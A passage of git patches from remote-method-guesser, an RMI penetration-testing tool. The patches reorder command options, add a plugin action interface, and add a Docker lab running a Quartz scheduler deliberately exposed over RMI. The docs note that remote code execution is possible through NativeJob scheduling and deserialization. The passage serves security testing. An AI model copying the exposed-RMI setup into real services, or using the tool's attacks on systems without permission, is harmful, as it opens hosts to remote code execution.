RMGOption.TARGET_SIGNATURE, @@ -103,8 +105,6 @@ public enum Operation implements IAction RMGOption.SSRF_ENCODE, RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, - RMGOption.CODEBASE_URL, - RMGOption.CODEBASE_CLASS, RMGOption.ARGUMENT_POS, RMGOption.FORCE_ACTIVATION, RMGOption.SERIAL_VERSION_UID, @@ -178,38 +178,40 @@ public enum Operation implements IAction /** Display details of known remote objects */ KNOWN("dispatchKnown", "", "Display details of known remote objects", new RMGOption[] { + RMGOption.KNOWN_CLASS, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_STACK_TRACE, - RMGOption.KNOWN_CLASS, }), /** Open ysoserials JRMP listener */ LISTEN("dispatchListen", " ", "Open ysoserials JRMP listener", new RMGOption[] { + RMGOption.LISTEN_IP, + RMGOption.LISTEN_PORT, + RMGOption.GADGET_NAME, + RMGOption.GADGET_CMD, RMGOption.GLOBAL_CONFIG, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_STACK_TRACE, RMGOption.GLOBAL_VERBOSE, RMGOption.GLOBAL_PLUGIN, - RMGOption.LISTEN_IP, - RMGOption.LISTEN_PORT, - RMGOption.GADGET_NAME, - RMGOption.GADGET_CMD, RMGOption.YSO, }), /** Print information contained within an ObjID */ OBJID("dispatchObjID", "", "Print information contained within an ObjID", new RMGOption[] { + RMGOption.OBJID_OBJID, RMGOption.GLOBAL_CONFIG, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_STACK_TRACE, RMGOption.GLOBAL_VERBOSE, - RMGOption.OBJID_OBJID, }), /** Rebinds boundname as object that points to listener */ REBIND("dispatchRebind", "[object] ", "Rebinds boundname as object that points to listener", new RMGOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, + RMGOption.BIND_ADDRESS, + RMGOption.BIND_BOUND_NAME, RMGOption.GLOBAL_CONFIG, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_PLUGIN, @@ -222,10 +224,8 @@ public enum Operation implements IAction RMGOption.SSRF_ENCODE, RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, - RMGOption.BIND_BOUND_NAME, RMGOption.BIND_BYPASS, RMGOption.BIND_OBJID, - RMGOption.BIND_ADDRESS, RMGOption.BIND_GADGET_NAME, RMGOption.BIND_GADGET_CMD, RMGOption.YSO, @@ -236,6 +236,8 @@ public enum Operation implements IAction /** Creates a rogue JMX listener (collect credentials) */ ROGUEJMX("dispatchRogueJMX", "[forward-host]", "Creates a rogue JMX listener (collect credentials)", new RMGOption[] { + RMGOption.LISTEN_IP, + RMGOption.LISTEN_PORT, RMGOption.GLOBAL_CONFIG, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_STACK_TRACE, @@ -247,18 +249,16 @@ public enum Operation implements IAction RMGOption.ROGUEJMX_FORWARD_PORT, RMGOption.ROGUEJMX_FORWARD_BOUND_NAME, RMGOption.ROGUEJMX_FORWARD_OBJID, - RMGOption.LISTEN_IP, - RMGOption.LISTEN_PORT }), /** Perform an RMI service scan on common RMI ports */ SCAN("dispatchPortScan", "[ [] ...]", "Perform an RMI service scan on common RMI ports", new RMGOption[] { + RMGOption.SCAN_HOST, + RMGOption.SCAN_PORTS, RMGOption.GLOBAL_CONFIG, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_STACK_TRACE, RMGOption.GLOBAL_VERBOSE, - RMGOption.SCAN_HOST, - RMGOption.SCAN_PORTS, RMGOption.SCAN_TIMEOUT_CONNECT, RMGOption.SCAN_TIMEOUT_READ, RMGOption.THREADS, @@ -269,6 +269,8 @@ public enum Operation implements IAction SERIAL("dispatchSerial", " ", "Perform deserialization attacks against default RMI components", new RMGOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, + RMGOption.GADGET_NAME, + RMGOption.GADGET_CMD, RMGOption.TARGET_BOUND_NAME, RMGOption.TARGET_OBJID, RMGOption.TARGET_SIGNATURE, @@ -287,8 +289,6 @@ public enum Operation implements IAction RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, RMGOption.ARGUMENT_POS, - RMGOption.GADGET_NAME, - RMGOption.GADGET_CMD, RMGOption.YSO, RMGOption.FORCE_ACTIVATION, RMGOption.SERIAL_VERSION_UID, @@ -301,6 +301,7 @@ public enum Operation implements IAction UNBIND("dispatchUnbind", "", "Removes the specified bound name from the registry", new RMGOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, + RMGOption.BIND_BOUND_NAME, RMGOption.GLOBAL_CONFIG, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_STACK_TRACE, @@ -312,7 +313,6 @@ public enum Operation implements IAction RMGOption.SSRF_ENCODE, RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, - RMGOption.BIND_BOUND_NAME, RMGOption.BIND_BYPASS, RMGOption.SOCKET_FACTORY, RMGOption.SOCKET_FACTORY_SSL, @@ -433,7 +433,7 @@ public static void addSubparsers(Subparsers argumentParser) for (Operation operation : Operation.values()) { Subparser parser = argumentParser.addParser(operation.name().toLowerCase()).help(operation.description); - GlobalOption.addOptions(parser, operation, RMGOption.values()); + GlobalOption.addOptions(parser, operation); } } From 84e16a1f8d34a72209db3877ff8f310e042e5fb9 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 9 Jan 2024 22:16:06 +0100 Subject: [PATCH 07/62] Bump argparse4j version --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 4da9157..b6facdf 100644 --- a/pom.xml +++ b/pom.xml @@ -51,7 +51,7 @@ eu.tneitzel argparse4j - 1.0.0 + 1.0.1 From e93fd81215b10c0c9cb00a287ab85ae78803fc5e Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Fri, 12 Jan 2024 10:02:42 +0100 Subject: [PATCH 08/62] Add IActionProvider interface --- src/eu/tneitzel/rmg/Starter.java | 4 +++ .../rmg/internal/ArgumentHandler.java | 1 - src/eu/tneitzel/rmg/operations/Operation.java | 7 ++++++ .../tneitzel/rmg/plugin/IActionProvider.java | 18 +++++++++++++ src/eu/tneitzel/rmg/plugin/PluginSystem.java | 25 +++++++++++++++++++ src/eu/tneitzel/rmg/utils/RMGUtils.java | 20 +++++++++++++++ 6 files changed, 74 insertions(+), 1 deletion(-) create mode 100644 src/eu/tneitzel/rmg/plugin/IActionProvider.java diff --git a/src/eu/tneitzel/rmg/Starter.java b/src/eu/tneitzel/rmg/Starter.java index a8b17f7..7279dd0 100644 --- a/src/eu/tneitzel/rmg/Starter.java +++ b/src/eu/tneitzel/rmg/Starter.java @@ -3,6 +3,7 @@ import eu.tneitzel.rmg.internal.ArgumentHandler; import eu.tneitzel.rmg.operations.Dispatcher; import eu.tneitzel.rmg.operations.Operation; +import eu.tneitzel.rmg.plugin.PluginSystem; import eu.tneitzel.rmg.utils.RMGUtils; /** @@ -20,6 +21,9 @@ public class Starter */ public static void main(String[] argv) { + String pluginPath = RMGUtils.getOption("--plugin", argv); + PluginSystem.init(pluginPath); + ArgumentHandler handler = new ArgumentHandler(argv); Operation operation = handler.getAction(); diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index ff366d7..0be3d4d 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -126,7 +126,6 @@ private void initialize() } checkPortRange(); - PluginSystem.init(RMGOption.GLOBAL_PLUGIN.getValue()); } /** diff --git a/src/eu/tneitzel/rmg/operations/Operation.java b/src/eu/tneitzel/rmg/operations/Operation.java index 79949fe..2d51041 100644 --- a/src/eu/tneitzel/rmg/operations/Operation.java +++ b/src/eu/tneitzel/rmg/operations/Operation.java @@ -9,6 +9,7 @@ import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; +import eu.tneitzel.rmg.plugin.PluginSystem; /** * The Operation enum class contains one item for each possible rmg action. An enum item consists out of @@ -435,6 +436,12 @@ public static void addSubparsers(Subparsers argumentParser) Subparser parser = argumentParser.addParser(operation.name().toLowerCase()).help(operation.description); GlobalOption.addOptions(parser, operation); } + + for (IAction action : PluginSystem.getPluginActions()) + { + Subparser parser = argumentParser.addParser(action.getName().toLowerCase()).help(action.getDescription()); + GlobalOption.addOptions(parser, action); + } } @Override diff --git a/src/eu/tneitzel/rmg/plugin/IActionProvider.java b/src/eu/tneitzel/rmg/plugin/IActionProvider.java new file mode 100644 index 0000000..6d48084 --- /dev/null +++ b/src/eu/tneitzel/rmg/plugin/IActionProvider.java @@ -0,0 +1,18 @@ +package eu.tneitzel.rmg.plugin; + +import eu.tneitzel.argparse4j.global.IAction; + +/** + * The IActionProvider interface can be implemented by plugins to add custom actions to + * remote-method-guesser. All actions provided by the getActions method will be added to + * the command line. If the user decides to invoke such an action, the dispatch action is + * called with the selected action as argument. + * + * @author Tobias Neitzel (@qtc_de) + */ + +public interface IActionProvider +{ + IAction[] getActions(); + void dispatch(IAction action); +} diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index 138672a..10fe42b 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -9,6 +9,7 @@ import java.util.jar.JarInputStream; import java.util.jar.Manifest; +import eu.tneitzel.argparse4j.global.IAction; import eu.tneitzel.rmg.exceptions.MalformedPluginException; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; @@ -31,6 +32,7 @@ public class PluginSystem { private static String manifestAttribute = "RmgPluginClass"; + private static IActionProvider actionProvider = null; private static IPayloadProvider payloadProvider = null; private static IResponseHandler responseHandler = null; private static IArgumentProvider argumentProvider = null; @@ -46,6 +48,7 @@ public class PluginSystem public static void init(String pluginPath) { DefaultProvider provider = new DefaultProvider(); + payloadProvider = provider; argumentProvider = provider; socketFactoryProvider = provider; @@ -122,6 +125,12 @@ private static void loadPlugin(String pluginPath) RMGUtils.exit(); } + if (pluginInstance instanceof IActionProvider) + { + actionProvider = (IActionProvider)pluginInstance; + inUse = true; + } + if (pluginInstance instanceof IPayloadProvider) { payloadProvider = (IPayloadProvider)pluginInstance; @@ -287,4 +296,20 @@ public static void setResponeHandler(IResponseHandler handler) { responseHandler = handler; } + + /** + * Return actions added by a user defined plugin. If no plugin was specified, + * an empty array of actions is returned. + * + * @return array of additional actions + */ + public static IAction[] getPluginActions() + { + if (actionProvider != null) + { + return actionProvider.getActions(); + } + + return new IAction[] {}; + } } diff --git a/src/eu/tneitzel/rmg/utils/RMGUtils.java b/src/eu/tneitzel/rmg/utils/RMGUtils.java index 807ed1f..61abcad 100644 --- a/src/eu/tneitzel/rmg/utils/RMGUtils.java +++ b/src/eu/tneitzel/rmg/utils/RMGUtils.java @@ -1335,4 +1335,24 @@ else if (type.isArray()) return Class.forName(type.getName()); } } + + /** + * Primitive argument parser for finding a single string value option on the command line. + * + * @param opt option name to find + * @param args command line + * @return the value of the specified option + */ + public static String getOption(String opt, String[] args) + { + for (int ctr = 0; ctr < args.length - 1; ctr++) + { + if (args[ctr].equals(opt)) + { + return args[ctr + 1]; + } + } + + return null; + } } From d5cfb97a90eb95b953704e15bfabe52054160a6b Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Jan 2024 21:18:18 +0100 Subject: [PATCH 09/62] Add quartz-scheduler server --- docker/quartz-server/CHANGELOG.md | 11 +++ docker/quartz-server/Dockerfile | 38 ++++++++++ docker/quartz-server/README.md | 74 +++++++++++++++++++ docker/quartz-server/docker-compose.yml | 13 ++++ .../quartz-server/resources/scripts/start.sh | 14 ++++ docker/quartz-server/resources/server/pom.xml | 54 ++++++++++++++ .../java/eu/tneitzel/rmg/quartz/Starter.java | 72 ++++++++++++++++++ 7 files changed, 276 insertions(+) create mode 100644 docker/quartz-server/CHANGELOG.md create mode 100644 docker/quartz-server/Dockerfile create mode 100644 docker/quartz-server/README.md create mode 100644 docker/quartz-server/docker-compose.yml create mode 100755 docker/quartz-server/resources/scripts/start.sh create mode 100644 docker/quartz-server/resources/server/pom.xml create mode 100644 docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java diff --git a/docker/quartz-server/CHANGELOG.md b/docker/quartz-server/CHANGELOG.md new file mode 100644 index 0000000..5f4ec82 --- /dev/null +++ b/docker/quartz-server/CHANGELOG.md @@ -0,0 +1,11 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## v1.0.0 - MMM DD, YYYY + +Initial Release diff --git a/docker/quartz-server/Dockerfile b/docker/quartz-server/Dockerfile new file mode 100644 index 0000000..6322b99 --- /dev/null +++ b/docker/quartz-server/Dockerfile @@ -0,0 +1,38 @@ +########################################### +### Build Stage 1 ### +########################################### +FROM maven:3.8.6-openjdk-8-slim AS maven-builder +COPY ./resources/server /usr/src/app +WORKDIR /usr/src/app +RUN mvn clean package + +########################################### +### Build Stage 2 ### +########################################### +FROM alpine:latest AS jdk-builder +RUN set -ex \ + && apk add --no-cache openjdk11 \ + && /usr/lib/jvm/java-11-openjdk/bin/jlink --add-modules java.rmi,java.management.rmi,jdk.unsupported,java.desktop --verbose --strip-debug --compress 2 \ + --no-header-files --no-man-pages --output /jdk + +########################################### +### Container Stage ### +########################################### +FROM alpine:latest + +COPY ./resources/scripts/start.sh /opt/start.sh +COPY --from=maven-builder /usr/src/app/target/rmg-quartz-scheduler-server-*-jar-with-dependencies.jar /opt/quartz-server.jar +COPY --from=jdk-builder /jdk /usr/lib/jvm/java-11-openjdk + +RUN set -ex \ + && ln -s /usr/lib/jvm/java-11-openjdk/bin/java /usr/bin/java \ + && chmod +x /opt/start.sh + +ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.example \ + -Dorg.quartz.scheduler.rmi.export=true \ + -Dorg.quartz.scheduler.rmi.createRegistry=true \ + -Dorg.quartz.scheduler.rmi.serverPort=4444 + +EXPOSE 1099/tcp + +CMD ["/opt/start.sh"] diff --git a/docker/quartz-server/README.md b/docker/quartz-server/README.md new file mode 100644 index 0000000..5baf350 --- /dev/null +++ b/docker/quartz-server/README.md @@ -0,0 +1,74 @@ +### Quartz Scheduler Server + +---- + +[Quartz](https://github.com/quartz-scheduler/quartz) is a great example for the dangers of exposing +*RMI* services to untrusted networks. Quartz Scheduler is a Java library that makes it easy to build +a (remotely accessible) job scheduler. Remote access is implemented via RMI and usually allows remote +code execution when accssible. + +Notice that this is **not** a security vulnerability. Quartz is just a library and it is the developers +responsibility to use it correctly. The documentation [clearly outlines]http://www.quartz-scheduler.org/documentation/2.4.0-SNAPSHOT/best-practices.html#exposing-scheduler-functionality-through-applications) +that unrestricted access to Quartz allows remote code execution. + + +### Configuration Details + +---- + +The implementation is basically the same as [this example](https://github.com/quartz-scheduler/quartz/blob/main/examples/src/main/java/org/quartz/examples/example12/RemoteServerExample.java) +from the Quartz [GitHub repository](https://github.com/quartz-scheduler/quartz). The scheduler is +configured to create an *RMI registry* on port `1099` and is listening itself on port `4444`. +Performing the `enum` action of *remote-method-guesser* should provide the following results: + +```console +[user@host ~]$ rmg enum 172.17.0.2 1099 +[+] RMI registry bound names: +[+] +[+] - DefaultQuartzScheduler_$_NON_CLUSTERED +[+] --> org.quartz.core.QuartzScheduler_Stub (unknown class) +[+] Endpoint: iinsecure.example:4444 CSF: RMISocketFactory ObjID: [-29528512:18d0471d7d0:-7fff, 3126757509392163867] +[+] +[+] RMI server codebase enumeration: +[+] +[+] - The remote server does not expose any codebases. +[+] +[+] RMI server String unmarshalling enumeration: +[+] +[+] - Server complained that object cannot be casted to java.lang.String. +[+] --> The type java.lang.String is unmarshalled via readString(). +[+] Configuration Status: Current Default +[+] +[+] RMI server useCodebaseOnly enumeration: +[+] +[+] - RMI registry uses readString() for unmarshalling java.lang.String. +[+] This prevents useCodebaseOnly enumeration from remote. +[+] +[+] RMI registry localhost bypass enumeration (CVE-2019-2684): +[+] +[+] - Registry rejected unbind call cause it was not sent from localhost. +[+] Vulnerability Status: Non Vulnerable +[+] +[+] RMI Security Manager enumeration: +[+] +[+] - Caught Exception containing 'no security manager' during RMI call. +[+] --> The server does not use a Security Manager. +[+] Configuration Status: Current Default +[+] +[+] RMI server JEP290 enumeration: +[+] +[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). +[+] Vulnerability Status: Non Vulnerable +[+] +[+] RMI registry JEP290 bypass enumeration: +[+] +[+] - RMI registry uses readString() for unmarshalling java.lang.String. +[+] This prevents JEP 290 bypass enumeration from remote. +[+] +[+] RMI ActivationSystem enumeration: +[+] +[+] - Caught NoSuchObjectException during activate call (activator not present). +[+] Configuration Status: Current Default +``` + +The different methods that can be invoked via RMI can be found [here](http://www.quartz-scheduler.org/api/2.2.2/org/quartz/core/QuartzScheduler.html). diff --git a/docker/quartz-server/docker-compose.yml b/docker/quartz-server/docker-compose.yml new file mode 100644 index 0000000..3bb3dc6 --- /dev/null +++ b/docker/quartz-server/docker-compose.yml @@ -0,0 +1,13 @@ +version: '3.7' + +services: + quartz-scheduler: + image: ghcr.io/qtc-de/remote-method-guesser/quartz-scheduler-server:1.0 + build: . + environment: + - > + _JAVA_OPTIONS= + -Djava.rmi.server.hostname=iinsecure.example + -Dorg.quartz.scheduler.rmi.export=true + -Dorg.quartz.scheduler.rmi.createRegistry=true + -Dorg.quartz.scheduler.rmi.serverPort=4444 diff --git a/docker/quartz-server/resources/scripts/start.sh b/docker/quartz-server/resources/scripts/start.sh new file mode 100755 index 0000000..ec6ff30 --- /dev/null +++ b/docker/quartz-server/resources/scripts/start.sh @@ -0,0 +1,14 @@ +#!/bin/ash + +IP=$(ip a | grep inet | grep -v 127.0.0.1 | grep -o "\([0-9]\{1,3\}\.\?\)\{4\}" | head -n 1) +echo "[+] IP address of the container: ${IP}" + +echo "[+] Adding gateway address to /etc/hosts file..." +GATEWAY=$(ip r | grep "default via" | cut -d" " -f 3) +echo "$GATEWAY prevent.reverse.dns" >> /etc/hosts + +echo "[+] Adding RMI hostname to /etc/hosts file..." +echo "127.0.0.1 iinsecure.example" >> /etc/hosts + +echo "[+] Starting rmi server..." +exec /usr/bin/java -jar /opt/quartz-server.jar diff --git a/docker/quartz-server/resources/server/pom.xml b/docker/quartz-server/resources/server/pom.xml new file mode 100644 index 0000000..4032ef9 --- /dev/null +++ b/docker/quartz-server/resources/server/pom.xml @@ -0,0 +1,54 @@ + + 4.0.0 + eu.tneitzel + rmg-quartz-scheduler + 1.0.0 + + + UTF-8 + 1.8 + 1.8 + + + + + org.quartz-scheduler + quartz + 2.3.2 + + + + + + + maven-assembly-plugin + + + package + + single + + + + + rmg-quartz-scheduler-server-${project.version} + + + eu.tneitzel.rmg.quartz.Starter + true + + + + Tobias Neitzel (@qtc_de) + + + + + jar-with-dependencies + + + + + + + diff --git a/docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java b/docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java new file mode 100644 index 0000000..0a905c0 --- /dev/null +++ b/docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java @@ -0,0 +1,72 @@ +package eu.tneitzel.rmg.quartz; + +import org.quartz.Scheduler; +import org.quartz.SchedulerException; +import org.quartz.SchedulerFactory; +import org.quartz.SchedulerMetaData; +import org.quartz.impl.StdSchedulerFactory; + +public class Starter +{ + public static void main(String[] args) + { + int jobsExecuted = 0; + Scheduler sched = null; + + try + { + System.out.println("[+] Creating a scheduler."); + + SchedulerFactory sf = new StdSchedulerFactory(); + sched = sf.getScheduler(); + + System.out.println("[+] Starting scheduler."); + sched.start(); + + while (true) + { + SchedulerMetaData data = sched.getMetaData(); + + if (data.getNumberOfJobsExecuted() > jobsExecuted) + { + jobsExecuted = data.getNumberOfJobsExecuted(); + System.out.println("[+] Number of executed jobs: " + jobsExecuted); + } + + Thread.sleep(5000); + } + } + + catch (SchedulerException e) + { + System.out.println("[+] Caught SchedulerException:"); + e.printStackTrace(); + } + + catch (InterruptedException e) + { + System.out.println("[+] Aborted.:"); + } + + finally + { + if (sched == null) + { + return; + } + + System.out.println("[+] Stopping scheduler."); + + try + { + sched.shutdown(); + } + + catch (SchedulerException e) + { + System.out.println("[+] Caught SchedulerException:"); + e.printStackTrace(); + } + } + } +} From e672f0e10191dc6308229e363f6663de10ab88f6 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Jan 2024 21:40:18 +0100 Subject: [PATCH 10/62] Add Quartz scheduler to known endpoint list --- docs/rmi/known-endpoints.md | 154 ++++++++++++++++++ resources/known-endpoints/known-endpoints.yml | 146 +++++++++++++++++ 2 files changed, 300 insertions(+) diff --git a/docs/rmi/known-endpoints.md b/docs/rmi/known-endpoints.md index a06fcca..1ac1f24 100644 --- a/docs/rmi/known-endpoints.md +++ b/docs/rmi/known-endpoints.md @@ -151,6 +151,160 @@ * [https://github.com/qtc-de/beanshooter#serial](https://github.com/qtc-de/beanshooter#serial) +### Quartz Scheduler + +--- + +* Name: `Quartz Scheduler` +* Class Names: + * `org.quartz.core.QuartzScheduler` + * `org.quartz.core.QuartzScheduler_Stub` +* Description: + + > QuartzScheduler is an interface that can be used to control a Job scheduler. If this interface can be accessed without any + > restrictions, remote code execution is usually possible by scheduling an org.quartz.jobs.NativeJob. + +* Remote Methods: + + ```java + void addCalendar(String calName, org.quartz.Calendar calendar, boolean replace, boolean updateTriggers) + void addInternalJobListener(org.quartz.JobListener jobListener) + void addInternalSchedulerListener(org.quartz.SchedulerListener schedulerListener) + void addInternalTriggerListener(org.quartz.TriggerListener triggerListener) + void addJob(org.quartz.JobDetail jobDetail, boolean replace) + void addJob(org.quartz.JobDetail jobDetail, boolean replace, boolean storeNonDurableWhileAwaitingScheduling) + void addNoGCObject(Object obj) + boolean checkExists(org.quartz.JobKey jobKey) + boolean checkExists(org.quartz.TriggerKey triggerKey) + void clear() + boolean deleteCalendar(String calName) + boolean deleteJob(org.quartz.JobKey jobKey) + boolean deleteJobs(List jobKeys) + org.quartz.Calendar getCalendar(String calName) + List getCalendarNames() + List getCurrentlyExecutingJobs() + org.quartz.JobListener getInternalJobListener(String name) + List getInternalJobListeners() + List getInternalSchedulerListeners() + org.quartz.TriggerListener getInternalTriggerListener(String name) + List getInternalTriggerListeners() + org.quartz.JobDetail getJobDetail(org.quartz.JobKey jobKey) + org.quartz.spi.JobFactory getJobFactory() + List getJobGroupNames() + Set getJobKeys(org.quartz.impl.matchers.GroupMatcher matcher) + Class getJobStoreClass() + ListenerManager getListenerManager() + org.slf4j.Logger getLog() + Set getPausedTriggerGroups() + SchedulerContext getSchedulerContext() + String getSchedulerInstanceId() + String getSchedulerName() + SchedulerSignaler getSchedulerSignaler() + ThreadGroup getSchedulerThreadGroup() + Class getThreadPoolClass() + int getThreadPoolSize() + org.quartz.Trigger getTrigger(org.quartz.TriggerKey triggerKey) + List getTriggerGroupNames() + Set getTriggerKeys(org.quartz.impl.matchers.GroupMatcher matcher) + List getTriggersOfJob(org.quartz.JobKey jobKey) + org.quartz.Trigger.TriggerState getTriggerState(org.quartz.TriggerKey triggerKey) + String getVersion() + static String getVersionIteration() + static String getVersionMajor() + static String getVersionMinor() + void initialize() + boolean interrupt(org.quartz.JobKey jobKey) + boolean interrupt(String fireInstanceId) + boolean isClustered() + boolean isInStandbyMode() + boolean isShutdown() + boolean isShuttingDown() + boolean isSignalOnSchedulingChange() + boolean isStarted() + void notifyJobListenersToBeExecuted(org.quartz.JobExecutionContext jec) + void notifyJobListenersWasExecuted(org.quartz.JobExecutionContext jec, org.quartz.JobExecutionException je) + void notifyJobListenersWasVetoed(org.quartz.JobExecutionContext jec) + protected void notifyJobStoreJobComplete(org.quartz.spi.OperableTrigger trigger, org.quartz.JobDetail detail, org.quartz.org.quartz.Trigger.CompletedExecutionInstruction instCode) + protected void notifyJobStoreJobVetoed(org.quartz.spi.OperableTrigger trigger, org.quartz.JobDetail detail, org.quartz.org.quartz.Trigger.CompletedExecutionInstruction instCode) + void notifySchedulerListenersError(String msg, SchedulerException se) + void notifySchedulerListenersFinalized(org.quartz.Trigger trigger) + void notifySchedulerListenersInStandbyMode() + void notifySchedulerListenersJobAdded(org.quartz.JobDetail jobDetail) + void notifySchedulerListenersJobDeleted(org.quartz.JobKey jobKey) + void notifySchedulerListenersPausedJob(org.quartz.JobKey key) + void notifySchedulerListenersPausedJobs(String group) + void notifySchedulerListenersPausedTrigger(org.quartz.TriggerKey triggerKey) + void notifySchedulerListenersPausedTriggers(String group) + void notifySchedulerListenersResumedJob(org.quartz.JobKey key) + void notifySchedulerListenersResumedJobs(String group) + void notifySchedulerListenersResumedTrigger(org.quartz.TriggerKey key) + void notifySchedulerListenersResumedTriggers(String group) + void notifySchedulerListenersSchduled(org.quartz.Trigger trigger) + void notifySchedulerListenersShutdown() + void notifySchedulerListenersShuttingdown() + void notifySchedulerListenersStarted() + void notifySchedulerListenersStarting() + void notifySchedulerListenersUnscheduled(org.quartz.TriggerKey triggerKey) + protected void notifySchedulerThread(long candidateNewNextFireTime) + void notifyTriggerListenersComplete(org.quartz.JobExecutionContext jec, org.quartz.org.quartz.Trigger.CompletedExecutionInstruction instCode) + boolean notifyTriggerListenersFired(org.quartz.JobExecutionContext jec) + void notifyTriggerListenersMisfired(org.quartz.Trigger trigger) + int numJobsExecuted() + void pauseAll() + void pauseJob(org.quartz.JobKey jobKey) + void pauseJobs(org.quartz.impl.matchers.GroupMatcher groupMatcher) + void pauseTrigger(org.quartz.TriggerKey triggerKey) + void pauseTriggers(org.quartz.impl.matchers.GroupMatcher matcher) + boolean removeInternalJobListener(String name) + boolean removeInternalSchedulerListener(org.quartz.SchedulerListener schedulerListener) + boolean removeinternalTriggerListener(String name) + boolean removeNoGCObject(Object obj) + Date rescheduleJob(org.quartz.TriggerKey triggerKey, org.quartz.Trigger newTrigger) + void resumeAll() + void resumeJob(org.quartz.JobKey jobKey) + void resumeJobs(org.quartz.impl.matchers.GroupMatcher matcher) + void resumeTrigger(org.quartz.TriggerKey triggerKey) + void resumeTriggers(org.quartz.impl.matchers.GroupMatcher matcher) + Date runningSince() + void scheduleJob(org.quartz.JobDetail jobDetail, Set triggersForJob, boolean replace) + Date scheduleJob(org.quartz.JobDetail jobDetail, org.quartz.Trigger trigger) + Date scheduleJob(org.quartz.Trigger trigger) + void scheduleJobs(Map> triggersAndJobs, boolean replace) + void setJobFactory(org.quartz.spi.JobFactory factory) + void setSignalOnSchedulingChange(boolean signalOnSchedulingChange) + void shutdown() + void shutdown(boolean waitForJobsToComplete) + void standby() + void start() + void startDelayed(int seconds) + boolean supportsPersistence() + void triggerJob(org.quartz.JobKey jobKey, org.quartz.JobDataMap data) + void triggerJob(org.quartz.spi.OperableTrigger trig) + boolean unscheduleJob(org.quartz.TriggerKey triggerKey) + boolean unscheduleJobs(List triggerKeys) + void validateState() + ``` +* References: + * [https://www.quartz-scheduler.org/documentation/](https://www.quartz-scheduler.org/documentation/) + * [https://www.quartz-scheduler.org/api/2.2.2/org/quartz/core/QuartzScheduler.html](https://www.quartz-scheduler.org/api/2.2.2/org/quartz/core/QuartzScheduler.html) +* Known Vulnerabilities: + + * Vulnerable Methods + * Description: + + > Quartz scheduler allows job scheduling. By scheduling a NativeJob, it is possible to execute + > operating system commands as a feature. + * References: + * [https://github.com/qtc-de/remote-method-guesser#call](https://github.com/qtc-de/remote-method-guesser#call) + + * Deserialization + * Description: + + > Several methods accept non trivial parameters and can therefore be used for deserialization attacks. + * References: + * [https://github.com/qtc-de/remote-method-guesser#serial](https://github.com/qtc-de/remote-method-guesser#serial) + + ### RMI Activation Group --- diff --git a/resources/known-endpoints/known-endpoints.yml b/resources/known-endpoints/known-endpoints.yml index 6ba83a9..955f67c 100644 --- a/resources/known-endpoints/known-endpoints.yml +++ b/resources/known-endpoints/known-endpoints.yml @@ -293,3 +293,149 @@ knownEndpoints: remote-method-guesser can be used to guess remote methods. references: - https://github.com/qtc-de/remote-method-guesser#guess + + +- name: Quartz Scheduler + className: + - org.quartz.core.QuartzScheduler + - org.quartz.core.QuartzScheduler_Stub + + description: | + QuartzScheduler is an interface that can be used to control a Job scheduler. If this interface can be accessed without any + restrictions, remote code execution is usually possible by scheduling an org.quartz.jobs.NativeJob. + + remoteMethods: + - void addCalendar(String calName, org.quartz.Calendar calendar, boolean replace, boolean updateTriggers) + - void addInternalJobListener(org.quartz.JobListener jobListener) + - void addInternalSchedulerListener(org.quartz.SchedulerListener schedulerListener) + - void addInternalTriggerListener(org.quartz.TriggerListener triggerListener) + - void addJob(org.quartz.JobDetail jobDetail, boolean replace) + - void addJob(org.quartz.JobDetail jobDetail, boolean replace, boolean storeNonDurableWhileAwaitingScheduling) + - void addNoGCObject(Object obj) + - boolean checkExists(org.quartz.JobKey jobKey) + - boolean checkExists(org.quartz.TriggerKey triggerKey) + - void clear() + - boolean deleteCalendar(String calName) + - boolean deleteJob(org.quartz.JobKey jobKey) + - boolean deleteJobs(List jobKeys) + - org.quartz.Calendar getCalendar(String calName) + - List getCalendarNames() + - List getCurrentlyExecutingJobs() + - org.quartz.JobListener getInternalJobListener(String name) + - List getInternalJobListeners() + - List getInternalSchedulerListeners() + - org.quartz.TriggerListener 